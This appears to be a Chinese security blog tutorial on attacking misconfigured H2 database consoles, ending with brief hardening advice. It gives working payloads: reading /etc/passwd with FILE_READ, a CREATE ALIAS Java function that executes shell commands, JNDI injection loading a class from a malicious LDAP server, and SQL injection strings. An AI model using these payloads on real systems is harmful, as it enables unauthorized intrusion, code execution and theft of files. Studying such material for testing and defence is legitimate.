关于H2 database
  H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:
* 可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。(最常用)
* 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
* 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。
可以使用H2 console对H2 database进行相关的管理。
在一些开发项目里会使用H2 database,但是如果存在相关的配置缺陷的话会带来一些安全问题。
基本使用
下载相关程序包后,在bin目录选择相关的脚本即可启动:
* 如果在 Window 环境下使用,可以运行 h2.bat 或 h2w.bat。区别只是后者是后台静默运行。
* 如果在 Linux 环境下,可运行./h2.sh 文件来启动数据库服务。
启动后访问localhost:8082即可访问H2 console:
在Preferences进行相关的配置,例如设置允许远程访问H2 console,或者修改端口等相关操作:
接下来就是配置数据库连接信息,驱动类和 JDBC URL 是默认的,如果你想创建一个新的数据库,直接修改jdbc:h2:[输入你想创建的数据库文件的路径],就可以为你自动创建一个新的数据库(在指定路径下会创建对应的数据库文件 xxxx.mv.db)。
例如可以通过连接jdbc:h2:~/test,创建测试数据库test。
同样的,在Spring Boot中使用 H2数据库也十分简单,pom.xml引入依赖:
```xml
  在properties文件进行相关配置:
spring.datasource.url = jdbc:h2:mem:dbtest
配置h2数据库的连接地址
spring.datasource.username = sa
配置数据库用户名
spring.datasource.password = sa
配置数据库密码
spring.datasource.driverClassName =org.h2.Driver
配置JDBC Driver
数据初始化设置
spring.datasource.schema=classpath:db/schema.sql
进行该配置后,每次启动程序,程序都会运行resources/db/schema.sql文件,对数据库的结构进行操作。
spring.datasource.data=classpath:db/data.sql
进行该配置后,每次启动程序,程序都会运行resources/db/data.sql文件,对数据库的数据操作。
h2 web console设置
spring.datasource.platform=h2
表明使用的数据库平台是h2
spring.h2.console.settings.web-allow-others=true
进行该配置后,h2 web consloe就可以在远程访问了。否则只能在本机访问。
spring.h2.console.path=/h2
进行该配置,你就可以通过YOUR_URL/h2访问h2 web consloe。YOUR_URL是你程序的访问URl。
spring.h2.console.enabled=true
进行该配置,程序开启时就会启动h2 web consloe。当然这是默认的,如果你不想在启动程序时启动h2 web consloe,那么就设置为false。
``
spring.h2.console.enabled
  其中有两个关键选项:和
spring.h2.console.settings.web-allow-others如果设置了这两个选项且安装了h2 database,那么就会为你的Web应用增加一个path:/h2-console/,不过这个path可以使用
spring.h2.console.path来修改。
spring.h2.console.settings.web-allow-others`设置为true,则允许任意用户访问console,同时默认的数据库test登陆用户名是sa,密码为null,存在信息泄漏风险**。
  **
此时便可使用H2 Console来操作H2数据库了。
同样的,SpringMVC只需要在对应的xml文件完成相应的配置即可。
H2 console的识别
- 客户端H2 Console默认端口:8082
- H2数据库的TCP服务端口:9092
可以使用nmap进行验证是否开启了h2 db客户端服务:
nmap -A -sV --version-all -p 8082 -Pn ip
利用思路
如果可以直接登录H2 console那么就可以进行简单的CURD操作了。当然也可以尝试通过相关的接口进行SQL注入尝试。
文件读取
可以使用FILE_READ函数进行敏感文件的读取。(执行FILE_READ需要管理员权限)
第二个参数为NULL
的话表示使用此系统的默认字符集。同时支持文件名和URL的方式进行读取。
sql
SELECT FILE_READ('/etc/passwd', NULL) CSS;
文件写入
可以使用FILE_WRITE函数进行敏感文件的读取。(执行此命令需要对文件夹的写访问权和管理员权限)
将提供的参数(16进制)写入文件。返回写入的字节数。
sql
SELECT FILE_WRITE('00000074000000650000007300000074', '/tmp/hello.txt');
例如往/tmp/hello.txt写入test:
执行Java代码
H2中包含了一个重要SQL命令:CREATE ALIAS
。这和PostgreSQL的用户自定义函数类似,可以用来定义与别名对应的Java函数,然后在SQL查询就像调用函数一样中调用它。
可以通过如下命令达到回显的效果:
sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id')
JNDI注入
参考pyn3rd师傅发的姿势。通过配置H2 Console的Driver CLASS和JDBC URL,即可触发一个JNDI注入。
相关配置如下:
| 项 | 值 |
| ------------------- | ----------------------------------------------------------- |
| Setting Name | Generic JNDI Data Source (名称随意) |
| Driver Class | javax.naming.InitialContext (JDK自带也不用考虑额外的驱动) |
| JDBC URL | ldap://ip:port/jndi (恶意LDAP Server) |
| User Name和Password | 设置为空 |
完成配置后点击"Save"保存,然后点击"Connect",会加载远程的恶意类并执行,这里以dnslog记录发起的恶意类加载为例:
成功记录到发起的加载请求:
SQL注入
H2 database和其他数据库基本一样,成因也是因为sql拼接导致的,也有报错注入、UNION注入、盲注。另外默认支持堆叠查询。例如
1、字符串连接符是'||'
2、1/0会触发报错
3、Information_schema表保存着H2 database维护的所有其他数据库的信息,例如数据库名、表名、列的数据类型、访问权限等。
4、......
结合实际的注入场景查看相关的利用方式:
* 报错注入
在没法使用union联合查询且系统存在报错回显时可以考虑,最主要思路是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。列举一些报错注入的函数:
FILE_READ
函数是支持文件名和URL的方式进行读取的。尝试访问一个不存在的路径将查询结果返回,例如查询user():
sql
FILE_READ(concat('test/',user()),NULL)
REGEXP_LIKE
函数主要用于正则匹配,第三个参数对应着对应的模式,例如i是不区分大小写:
这里可以尝试写入不合法的值来进行触发报错,例如查询user():
sql
REGEXP_LIKE('','',user())
思路是类似的,更多的函数可以查看对应的function列表。
* UNION注入
跟其他数据库是一样的方式。举例说明:
先通过 order by 查当前表的 column 数量:
sql
1 order by 列数--
10的时候正常返回,11抛出异常,说明 column 有 11 个:
通过union尝试获取当前用户名:
sql
0 union select 1,user(),null,null,null,null,null,null,null,null
* 布尔盲注
布尔盲注一般通过页面返回的正常与否判断SQL执行的情况。一般盲注用到的函数H2也有。例如:SUBSTR、length、CASE WHEN、DECODE等。
例如使用case when
进行注入判断,当1=1时,查询的是id=1的内容:
否则查询的是id=0的内容,返回null:
同理,使用decode()函数同样可以进行布尔盲注,例如这里枚举当前数据库用户名的第一位,为S正常返回:
* 延时注入
主要有以下思路:
1、使用相关方法向一个不存活的IP地址发送HTTP请求实现延时
同样的可以使用FILE_READ方法:
sql
FILE_READ('http://ip:port',NULL)
通过请求目标服务器上不存在的端口实现延时:
2、对多张表应用count(*):
sql
select count(*) from all_objects,all_objects,all_objects,all_objects
* 堆叠注入
H2 是默认允许堆叠查询的。
例如通过 ALIAS 命令调用java.lang.System.getProperty
获取当前路径:
通过堆叠注入定义与别名对应的Java函数GET_SYSTEM_PROPERTY
:
定义好后直接调用对应的函数结合union即刻获取对应的路径信息:
同样的,类似Orderby注入也可以使用类似1/0进行判断,结合上面的方法进行相关的利用。
加固建议
1、通过设置 spring.h2.console.settings.web-allow-others=false 参数,禁止远程Web访问H2数据库的信息。
2、若需要使用H2 console,建议进行相关的访问控制,同时修改相关用户密码,防止匿名登录:
sql
ALTER USER sa SET PASSWORD 'password';
参考资料
https://codewhitesec.blogspot.com/2019/08/exploit-h2-database-native-libraries-jni.html
https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/
http://www.h2database.com/html/functions.html
https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论